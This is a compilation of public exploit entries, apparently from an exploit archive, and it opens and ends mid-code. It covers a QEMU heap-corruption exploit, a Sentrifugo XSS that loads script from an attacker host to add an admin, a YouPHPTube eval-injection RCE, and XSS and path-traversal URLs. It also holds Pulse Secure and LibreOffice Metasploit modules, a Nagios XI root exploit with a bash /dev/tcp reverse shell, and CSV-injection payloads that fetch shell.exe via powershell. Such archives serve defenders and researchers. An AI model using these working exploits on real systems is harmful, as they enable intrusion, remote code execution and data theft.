    size_t id = spray_id + 0x20;

    size_t replay_id = id++;
    send_ip4(replay_id, 0x100, NULL, IP_MF);

    // Target
    size_t target_id = id++;
    send_ip4(target_id, 0x8, NULL, IP_MF);

   
    // Padding
    send_ip4(id++, 0x8, NULL, IP_MF);
    send_ip4(id++, 0x8, NULL, IP_MF);

    // Piviot Point
    size_t hole_1 = id++;
    send_ip4(hole_1, 0x8, NULL, IP_MF);


    // Padding
    send_ip4(id++, 0xC30, NULL, IP_MF);

    // For creating hole
    size_t hole_2 = id++;
    send_ip4(hole_2, 0x8, NULL, IP_MF);

    // Prevent Consolidation
    send_ip4(id++, 0x8, NULL, IP_MF);

    // This should create the fist hole
    send_ip4(hole_1, 0x8, NULL, 0x1);

    // This should create the second hole
    send_ip4(hole_2, 0x8, NULL, 0x1);

    // Trigger the bug to change target's m_len
    int m_data_off = -0xd50;
    int m_len = m_data_off;
    size_t * addr = (size_t * )(0xb00 - 0x20 + ETH_HDRLEN + 0xe +  6) ;
    size_t addrlen = 0x3;

    if (addrlen != 0x8) {
      m_len -= (0x8 - addrlen);
    }

    size_t vuln_id = id++;

    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);

    pkt_len = 0xc90;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,IP_MF);
    u_int32_t frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    send_pkt(pkt,frame_length);

    
    memset(pkt,0x0,IP_MAXPACKET);
    ip = (struct iphdr * ) (pkt + ETH_HDRLEN);
    ethernet_header(pkt);
    pkt_len = 0x8;
    ip_header(ip,m_len,0x0,pkt_len,IPPROTO_ICMP,vuln_id,0x192);
    frame_length = ETH_HDRLEN + IP4_HDRLEN + pkt_len;
    send_pkt(pkt,frame_length);


    // Underflow and write to change m_data
    char addr_buf[0x8] = {0};
    if (addrlen != 0x8) {
      memcpy(&addr_buf[(0x8-addrlen)],(char *)&addr,addrlen);
    } else {
      memcpy(addr_buf,(char *)&addr,8);
    }
    send_ip4(target_id, 0x8, addr_buf, 0x1);

  if ((recv_socket = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))) < 0)
      die("socket() failed to obtain a receive socket descriptor");
    send_ip4(replay_id, 0x8, NULL, 0x20);
    recv_leaks();


    char zero[0x28] = {0};
    spray_id = rand() & 0xffff;
    printf("Cleaning Heap\n");
    arbitrary_write(heap_leak + (0xb00 - 0x20),3,zero,sizeof(zero),0x20);
}


void pwn() {
  char payload[0x200] = {0};
  struct QEMUTimerList *tl = (struct QEMUTimerList *)payload;
  struct QEMUTimer *ts =
      (struct QEMUTimer *)(payload + sizeof(struct QEMUTimerList));

  char cmd[] = "/usr/bin/gnome-calculator";
  memcpy((void *)(payload + sizeof(struct QEMUTimerList )   \
                             +sizeof(struct QEMUTimer )),  \
                  (void *)cmd,sizeof(cmd));

  void * fake_timer_list = code_leak +  FAKE_STRUCT;
  void * fake_timer = fake_timer_list +  sizeof(struct QEMUTimerList);

  void *system = code_leak + SYSTEM_PLT;
  void *cmd_addr = fake_timer + sizeof(struct QEMUTimer);
  /* Fake Timer List */
  tl->clock = (void *)(code_leak + QEMU_CLOCK);
  *(size_t *)&tl->active_timers_lock[0x30] = 0x0000000100000000;
  tl->active_timers = fake_timer;
  tl->le_next = 0x0;
  tl->le_prev = 0x0;
  tl->notify_cb = code_leak + QEMU_TIMER_NOTIFY_CB;
  tl->notify_opaque = 0x0;
  tl->timers_done_ev = 0x0000000100000000;

  /*Fake Timer structure*/
  ts->timer_list = fake_timer_list;
  ts->cb = system;
  ts->opaque = cmd_addr;
  ts->scale = 1000000;
  ts->expire_time = -1;

  spray_id = rand() & 0xffff;
  size_t payload_size =
      sizeof(struct QEMUTimerList) + sizeof(struct QEMUTimerList) + sizeof(cmd);

  printf("Writing fake structure : %p\n",fake_timer_list);
  arbitrary_write(fake_timer_list,8,payload,payload_size,0x20);

  spray_id = rand() & 0xffff;
  void *  main_loop_tlg = code_leak + MAIN_LOOP_TLG;
  printf("Overwriting main_loop_tlg %p\n",main_loop_tlg);
  arbitrary_write(main_loop_tlg,8,(char *)&fake_timer_list,8,0x20);
}

int main() {
    initialize();
    leak();
    pwn();
    return 0;
}
            
# Exploit Title: Sentrifugo 3.2 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 8/29/2019
# Exploit Author: creosote
# Vendor Homepage: http://www.sentrifugo.com/
# Version: 3.2
# Tested on: Ubuntu 18.04
# CVE : CVE-2019-15814


Multiple Stored XSS vulnerabilities were found in Sentrifugo 3.2. In most test cases session riding was also possible by utilizing the XSS vulnerability. This potentially allows for full account takeover.

/sentrifugo/index.php/employee/edit/id/5  <--Attacker employee ID here. POC example pertains to this one.
/sentrifugo/index.php/feedforwardquestions/add
/sentrifugo/index.php/announcements/add

# Proof of Concept

A low privileged user can insert a stored XSS referencing a crafted js file that would ride a session of an admin user to create an additional admin user. Logged in as the low priv user, insert the following in "Certificate Description" (Self Service >> My Details >> Training and Certificate Details)

<script src="http://Attacker-IP/add-admin-user.js"></script>

Add the following 'add-admin-user.js' file hosted on your attacking machine. This request will need to be customized per instance of Sentrifugo.

A few crafting notes:

- 'employeeId' - this can be found in the users profile.
- 'employeeNumId' - this can be an arbitrary number as long as it does not exist.
- 'emprole' - in this test case '2_1' was the Administrator role
- 'emp_status_id' - based off  "Contractor", "Full-Time", etc. Contractor is '6' in this case.
- 'emailaddress' - by default the initial password is sent via email, so this will need to be valid in order to login.

----------------------------------------------------------------------------------------------------

function execute()
{
  var nuri ="http://10.42.1.42/sentrifugo/index.php/employee/add";
  xhttp = new XMLHttpRequest();
  xhttp.open("POST", nuri, true);
  xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhttp.withCredentials = "true";
  var body = "";
  body += "\r\n\r\n";
  body += 
	"id=&final_emp_id=EMPP99&tmp_emp_name=Select+Candidate&employeeId=EMPP&employeeNumId=99" +
	"&firstname=Bob&lastname=Blah&modeofentry=Direct&emprole=2_1&emailaddress=bob%40localhost.com" +
	"&businessunit_id=0&reporting_manager=2&emp_status_id=6&screenflag=add&date_of_joining=07%2F04%2F2019&submit=Save";
  xhttp.send(body);
  return true;
}

execute();

----------------------------------------------------------------------------------------------------

When a user with permissions to add users (HR role by default) views your XSS "Certification Description" the add user request should be sent.

Other session riding request that can possibly be crafted:
- Company Announcement - gets blasted out to all users. Also has an additional XSS vuln in the description.
- Add Employee Leave - this one is tricky to craft due to needed parameter knowledge.
- Background check - update or add employee background check status.
- Disciplinary Actions - manipulate existent or non-existent disciplinary records.
            
# Exploit Title: YouPHPTube <= 7.4 - Remote Code Execution
# Google Dork: intext:"Powered by YouPHPTube"
# Date: 29 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://www.youphptube.com/
# Version: <= 7.4
# Tested on: Ubuntu 18.04.1

YouPHPTube before 7.5 does no checks at all if you wanna generate a new
config file. We can use this to generate our own config file with our
own (malicious) code.

All you need is a MySQL server that allows remote connections.

Fixed by the following commit:

    https://github.com/YouPHPTube/YouPHPTube/commit/b32b410c9191c3c5db888514c29d7921f124d883

Proof-of-Concept:

    # Run this command (with your own data replaced)
    # Then visit https://domain.tld/?zerodayslol=phpinfo() for code execution!
    curl -s "https://domain.tld/install/checkConfiguration.php" --data "contactEmail=rce@zerodays.lol&createTables=2&mainLanguage=RCE&salt=';eval(\$_REQUEST['zerodayslol']);echo '&systemAdminPass=zerodays.LOL&systemRootPath=./&webSiteRootURL=<URL>&webSiteTitle=Zerodays.lol&databaseHost=<DB_HOST>&databaseName=<DB_NAME>&databasePass=<DB_PASS>&databasePort=<DB_PORT>&databaseUser=<DB_USER>"
            
# Exploit Title: WordPress Plugin WooCommerce Product Feed <= 2.2.18 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://wordpress.org/plugins/webappick-product-feed-for-woocommerce/
# Version: <= 2.2.18
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-1010124

The WordPress plugin 'WooCommerce Product Feed' does not correctly sanitize user-input,
which leads to Cross-Site Scripting in the Admin Panel.

Since it is WordPress, it's fairly easy to get RCE with this XSS, by editing the theme
files via (for example) XHR requests with included Javascript.

Proof-of-Concept:

    https://domain.tld/wp-admin/admin.php?page=woo_feed_manage_feed&link=%3E%3Cscript%3Ealert`zerodays.lol`;%3C/script%3E
            
# Exploit Title: DomainMod <= 4.13 - Cross-Site Scripting
# Date: 30 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://domainmod.org/
# Version: <= 4.13
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-15811

The software 'DomainMOD' is vulnerable for Cross-Site Scripting in the
file '/reporting/domains/cost-by-month.php' in the parameter 'daterange'.

As of today (30 August 2019) this issue is unfixed.

Almost all other files that use the parameter 'daterange' are vulnerable.
See: https://github.com/domainmod/domainmod/tree/master/reporting/domains

Proof-of-Concept:

    https://domain.tld/reporting/domains/cost-by-month.php?daterange=%22onfocus=%22alert(1)%22autofocus=%22
            
# Exploit Title: VX Search Enterprise v10.4.16 DoS
# Google Dork: N/A
# Date: 17.01.2018
# Exploit Author: James Chamberlain [chumb0]
# Vendor Homepage: http://www.vxsearch.com/downloads.html
# Software Link: http://www.vxsearch.com/setups/vxsearchent_setup_v10.4.16.exe
# Version: v10.4.16
# Tested on: Windows 7 Home x86
# CVE : N/A

# Have been unable to overwrite SEH/EIP, but the crash serves as an unauthenticated DoS.

# Replication - Large buffer sent in the majority of Request Headers. PoC attached. Server needs http enabling (non default)

 #!/usr/bin/python
import socket

pwnd = "A" * 5000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('192.168.50.133', 80))
buf = ""
buf += "GET / HTTP/1.1" + "\r\n"
buf += "Host: 192.168.50.133\r\n"
buf += "User-Agent: " + pwnd + "r\n"
buf += "\r\n\r\n"
s.send(buf)
s.close()
            
# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510 
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	include Msf::Post::File
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Pulse Secure - System file leak',
			'Description'    => %q{
				Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
			},
			'References'     =>
			    [
			        [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
			    ],
			'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
			'License'        => MSF_LICENSE,
			 'DefaultOptions' =>
		      {
		        'RPORT' => 443,
		        'SSL' => true
		      },
			))

	end


	def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ooof, try again...")
			end
		end
	end
	def parse()
		current_host = datastore['RHOST']

	    fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
	    words = 0
	    while (line = fileObj.gets)
	    	printable_data = line.gsub(/[^[:print:]]/, '.')
	    	array_data = printable_data.scan(/.{1,60}/m)
	    	for ar in array_data
	    		if ar != "............................................................"
	    			print_good(ar)
	    		end
	    	end
	    	#print_good(printable_data)

		end
		fileObj.close
	end
end
            
# Exploit Title: LSoft ListServ < 16.5 - Cross-Site Scripting (XSS)
# Google Dork: intitle:LISTSERV 16.5
# Date: 08-21-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: http://www.lsoft.com/
# Softwae Link: http://www.lsoft.com/products/listserv.asp
# Version: Older than Ver 16.5-2018a
# Tested on: IIS 8.5/10.0 - Firefox/Windows
# CVE : CVE-2019-15501

# Software description:
The term Listserv has been used to refer to electronic mailing list software applications in general, 
but is more properly applied to a few early instances of such software, which allows a sender to send one 
email to the list, and then transparently sends it on to the addresses of the subscribers to the list. 

# POC

1. 	http://127.0.0.1/scripts/wa.exe?OK=<PAYLOAD>
2.	http://127.0.0.1/scripts/wa.exe?OK=<svg/onload=%26%23097lert%26lpar;'MTK')>

# References:
1.	http://www.lsoft.com/manuals/16.5/LISTSERV16.5-2018a_WhatsNew.pdf
2.	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15501
            
<?php

/*
A vulnerability exists in Nagios XI <= 5.6.5 allowing an attacker to leverage an RCE to escalate privileges to root.
The exploit requires access to the server as the 'nagios' user, or CCM access via the web interface with perissions to manage plugins.

The getprofile.sh script, invoked by downloading a system profile (profile.php?cmd=download),
is executed as root via a passwordless sudo entry; the script executes the ‘check_plugin’ executuable which is owned by the nagios user
A user logged into Nagios XI with permissions to modify plugins, or the 'nagios' user on the server,can modify the ‘check_plugin’ executable
and insert malicious commands exectuable as root.

Author: Jak Gibb (https://github.com/jakgibb/nagiosxi-root-exploit)

Date discovered: 28th July 2019
Reported to Nagios: 29th July 2019
Confirmed by Nagios: 29th July 2019
*/

$userVal = parseArgs($argv);

checkCookie();
$userVal['loginNSP'] = extractNSP($userVal['loginUrl']);
authenticate($userVal);

$userVal['pluginNSP'] = extractNSP($userVal['pluginUrl']);

uploadPayload($userVal);
triggerPayload($userVal);

function extractNSP($url) {

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);;
    curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

    echo "[+] Grabbing NSP from: {$url}\n";
    $response = curl_exec($curl);
    $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);

    if ($httpCode == '200') {
        echo "[+] Retrieved page contents from: {$url}\n";
    } else {
        echo "[+] Unable to open page: {$url} to obtain NSP\n";
        exit(1);
    }

    $DOM = new DOMDocument();
    @$DOM->loadHTML($response);
    $xpath = new DOMXpath($DOM);
    $input = $xpath->query('//input[@name="nsp"]');
    $nsp = $input->item(0)->getAttribute('value');

    if (isset($nsp)) {
        echo "[+] Extracted NSP - value: {$nsp}\n";
    } else {
        echo "[+] Unable to obtain NSP from {$url}\n";
        exit(1);
    }

    return $nsp;

}

function authenticate($userVal) {

    $postValues = array(
        'username' => $userVal['user'], 'password' => $userVal['pass'],
        'pageopt' => 'login', 'nsp' => $userVal['loginNSP']
    );

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $userVal['loginUrl']);
    curl_setopt($curl, CURLOPT_POST, TRUE);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($postValues));
    curl_setopt($curl, CURLOPT_REFERER, $userVal['loginUrl']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($curl, CURLOPT_COOKIEJAR, 'cookie.txt');
    curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

    echo "[+] Attempting to login...\n";
    curl_exec($curl);
    if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '302') {
        echo "[+] Authentication success\n";
    } else {
        echo "[+] Unable to plguin, check your credentials\n";
        exit(1);
    }

    echo "[+] Checking we have admin rights...\n";
    curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);
    $response = curl_exec($curl);

    $title = NULL;

    $dom = new DOMDocument();
    if (@$dom->loadHTML($response)) {
        $dom->getElementsByTagName("title")->length > 0 ? $title = $dom->getElementsByTagName("title")->item(0)->textContent : FALSE;
    }

    if (strpos($title, 'Manage') !== FALSE) {
        echo "[+] Admin access confirmed\n";
    } else {
        echo "[+] Unable to reach login page, are you admin?\n";
        exit(1);
    }

}

function uploadPayload($userVal) {

    $payload = "-----------------------------18467633426500\nContent-Disposition: form-data; name=\"upload\"\n\n1\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"nsp\"\n\n{$userVal['pluginNSP']}\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\n\n20000000\n-----------------------------18467633426500\nContent-Disposition: form-data; name=\"uploadedfile\"; filename=\"check_ping\"\nContent-Type: text/plain\n\nbash -i >& /dev/tcp/{$userVal['reverseip']}/{$userVal['reverseport']} 0>&1\n-----------------------------18467633426500--\n";

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $userVal['pluginUrl']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($curl, CURLOPT_POST, 1);
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

    $headers = array();
    $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    $headers[] = 'Accept-Language: en-GB,en;q=0.5';
    $headers[] = 'Referer: ' . $userVal['pluginUrl'];
    $headers[] = 'Content-Type: multipart/form-data; boundary=---------------------------18467633426500';
    $headers[] = 'Connection: keep-alive';
    $headers[] = 'Upgrade-Insecure-Requests: 1';

    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

    echo "[+] Uploading payload...\n";

    $response = curl_exec($curl);
    $dom = new DOMDocument();
    @$dom->loadHTML($response);

    $upload = FALSE;

    foreach ($dom->getElementsByTagName('div') as $div) {

        if ($div->getAttribute('class') === 'message') {
            if (strpos($div->nodeValue, 'New plugin was installed') !== FALSE) {
                $upload = TRUE;
            }
        }
    }

    if ($upload) {
        echo "[+] Payload uploaded\n";
    } else {
        echo '[+] Unable to upload payload';
        exit(1);
    }

}

function triggerPayload($userVal) {

    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $userVal['profileGenUrl']);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_ENCODING, 'gzip, deflate');
    curl_setopt($curl, CURLOPT_COOKIEFILE, 'cookie.txt');

    $headers = array();
    $headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
    $headers[] = 'Connection: keep-alive';
    $headers[] = 'Upgrade-Insecure-Requests: 1';

    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);

    echo "[+] Triggering payload: if successful, a reverse shell will spawn at {$userVal['reverseip']}:{$userVal['reverseport']}\n";

    curl_exec($curl);

}

function showHelp() {
    echo "Usage: php exploit.php --host=example.com --ssl=[true/false] --user=username --pass=password --reverseip=ip --reverseport=port\n";
    exit(0);
}

function parseArgs($argv) {

    $userVal = array();
    for ($i = 1; $i < count($argv); $i++) {
        if (preg_match('/^--([^=]+)=(.*)/', $argv[$i], $match)) {
            $userVal[$match[1]] = $match[2];
        }
    }

    if (!isset($userVal['host']) || !isset($userVal['ssl']) || !isset($userVal['user']) || !isset($userVal['pass']) || !isset($userVal['reverseip']) || !isset($userVal['reverseport'])) {
        showHelp();
    }

    $userVal['ssl'] == 'true' ? $userVal['proto'] = 'https://' : $userVal['proto'] = 'http://';
    $userVal['loginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/login.php';
    $userVal['pluginUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/admin/monitoringplugins.php';
    $userVal['profileGenUrl'] = $userVal['proto'] . $userVal['host'] . '/nagiosxi/includes/components/profile/profile.php?cmd=download';

    return $userVal;

}

function checkCookie() {
    if (file_exists('cookie.txt')) {
        echo "cookie.txt already exists - delete prior to running";
        exit(1);
    }
}
            
# Nimble Streamer 3.0.2-2 to 3.5.4-9 - Path Traversal
# Exploit Author: MAYASEVEN
# Source at "https://mayaseven.com/nimble-directory-traversal-in-nimble-streamer-version-3-0-2-2-to-3-5-4-9/"
# Published on 08/04/2019
# Vendor Homepage at "https://wmspanel.com/nimble"
# Affected Version 3.0.2-2 to 3.5.4-9
# Tested on 3.5.4-9
# CVE-2019-11013 Nimble Streamer 3.0.2-2 to 3.5.4-9 Path Traversal
# Description: Nimble Streamer 3.0.2-2 through 3.5.4-9 has a ../ directory traversal vulnerability.
#              Successful exploitation could allow an attacker to traverse the file system to access
#              files or directories that are outside of the restricted directory on the remote server.


POC :
 - http://somesite.com/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'LibreOffice Macro Python Code Execution',
      'Description'     => %q{
        LibreOffice comes bundled with sample macros written in Python and
        allows the ability to bind program events to them.

        LibreLogo is a macro that allows a program event to execute text as Python code, allowing RCE.

        This module generates an ODT file with a dom loaded event that,
        when triggered, will execute arbitrary python code and the metasploit payload.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Nils Emmerich',    # Vulnerability discovery and PoC
          'Shelby Pace',      # Base module author (CVE-2018-16858), module reviewer and platform-independent code
          'LoadLow',          # This msf module
          'Gabriel Masei'     # Global events vuln. disclosure
        ],
      'References'      =>
        [
          [ 'CVE', '2019-9851' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9848/' ],
          [ 'URL', 'https://www.libreoffice.org/about-us/security/advisories/cve-2019-9851/' ],
          [ 'URL', 'https://insinuator.net/2019/07/libreoffice-a-python-interpreter-code-execution-vulnerability-cve-2019-9848/' ]
        ],
      'DisclosureDate'  => '2019-07-16',
      'Platform'        => 'python',
      'Arch'            => ARCH_PYTHON,
      'DefaultOptions'  => { 'Payload' => 'python/meterpreter/reverse_tcp' },
      'Targets'         => [ ['Automatic', {}] ],
      'DefaultTarget'   =>  0
    ))

    register_options(
    [
      OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt']),
      OptString.new('TEXT_CONTENT', [true, 'Text written in the document. It will be html encoded.', 'My Report']),
    ])
  end

  def gen_file
    text_content = Rex::Text.html_encode(datastore['TEXT_CONTENT'])
    py_code = Rex::Text.encode_base64(payload.encoded)
    @cmd = "exec(eval(str(__import__('base64').b64decode('#{py_code}'))))"
    @cmd = Rex::Text.html_encode(@cmd)

    fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-9848', 'librefile.erb'))
    libre_file = ERB.new(fodt_file).result(binding())

    print_status("File generated! Now you need to move the odt file and find a way to send it/open it with LibreOffice on the target.")

    libre_file
  rescue Errno::ENOENT
    fail_with(Failure::NotFound, 'Cannot find template file')
  end

  def exploit
    fodt_file = gen_file

    file_create(fodt_file)
  end
end
            
# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
 
# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
 
# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure
            
# Exploit Title: UserPro <= 4.9.32 Reflected XSS
# Google Dork: intitle:"Index of" intitle:"UserPro" -uploads
# Date: 25 August 2019
# Exploit Author: Damian Ebelties (https://zerodays.lol/)
# Vendor Homepage: https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
# Version: <= 4.9.32
# Tested on: Ubuntu 18.04.1
# CVE: CVE-2019-14470

The WordPress plug-in 'UserPro' uses a Instagram library (Instagram PHP API V2 by cosenary) that
is vulnerable for Reflected Cross-Site Scripting (XSS).

There is more vulnerable code in 'UserPro' core, might release that later.

As of today (25 August 2019) this issue is unfixed.

Vulnerable code: (success.php on line 36)

    if (isset($_GET['error'])) {
        echo 'An error occurred: ' . $_GET['error_description'];
    }

    > https://github.com/cosenary/Instagram-PHP-API/blob/master/example/success.php#L36

Proof-of-Concept:

    https://domain.tld/wp-content/plugins/userpro/lib/instagram/vendor/cosenary/instagram/example/success.php?error=&error_description=<PAYLOAD>
            
# Exploit Title: Tableau XXE 
# Google Dork: N/A
# Date: Reported to vendor July 2019, fix released August 2019.
# Exploit Author: Jarad Kopf
# Vendor Homepage: https://www.tableau.com/
# Software Link: Tableau Desktop downloads: https://www.tableau.com/products/desktop/download
# Version/Products: See Tableau Advisory: https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
# Tested on: Windows
# CVE: CVE-2019-15637

#This comes from https://community.tableau.com/community/security-bulletins/blog/2019/08/22/important-adv-2019-030-xxe-vulnerability-in-tableau-products
#Severity: High ======   CVSS3 Score: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L - 7.1 High ====== Product Specific Notes: Malicious workbooks, data sources, and extensions files that are published or used on Tableau Server can trigger this vulnerability
#see also https://github.com/minecrater/exploits/blob/master/TableauXXE.py

#Unfortunately as I did not have access to the source code a lot of this couldn't really be coded. 
#Lot of this seems to be user specific (zoneid, dashboard etc). Virtually just taking the vulnerable request and running the exploit. 
#Very bare bones...wish I could've done more, but maybe someone else with access to the source would want to do that as an exercise.

import requests
import sys 
from warnings import filterwarnings

# Globals
proxy = 'http://127.0.0.1:8080'
proxies = {'http':proxy, 'https':proxy}
filterwarnings('ignore')

def xxe(target, attackerserver, boundary, cookie, zoneid, dashboard):
	payload = """<?xml version="1.0" encoding="UTF-8" standalone="no"?><!DOCTYPE root PUBLIC "-//A/B/EN" """
	payload += "\""+attackerserver+"\"><svg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"><text x=\"0\" y=\"20\" font-size=\"20\">test</text></svg>"
	headers = {'Content-Type': 'multipart/form-data; boundary='+boundary, 'Cookie': 'workgroup_session_id='+cookie}
	data = "--"+boundary+"\r\n"
	data += """Content-Disposition: form-data; name=\"zoneId\""""+"\r\n"
	data += "\r\n"
	#below will be different for each user - this is the zoneid of the dashboard you're exploiting this against
	data += zoneid+ "\r\n"
	data += "--"+boundary+"\r\n"
	data += """Content-Disposition: form-data; name=\"dashboard\""""+"\r\n"
	data += "\r\n"
	#below will be different for each user - the name of the dashboard we have access to which we're exploiting this against
	data += dashboard + "\r\n"
	data += "--"+boundary+"\r\n"
	data += """Content-Disposition: form-data; name=\"wasCanceled\""""+"\r\n"
	data += "\r\n"
	data += "false"
	data += "\r\n"
	data += "--"+boundary+"\r\n"
	data += """Content-Disposition: form-data; name=\"extensionManifestContents\""""+"\r\n"
	data += "\r\n"
	data += payload
	data += "\r\n"
	data += "--"+boundary+"--"
	
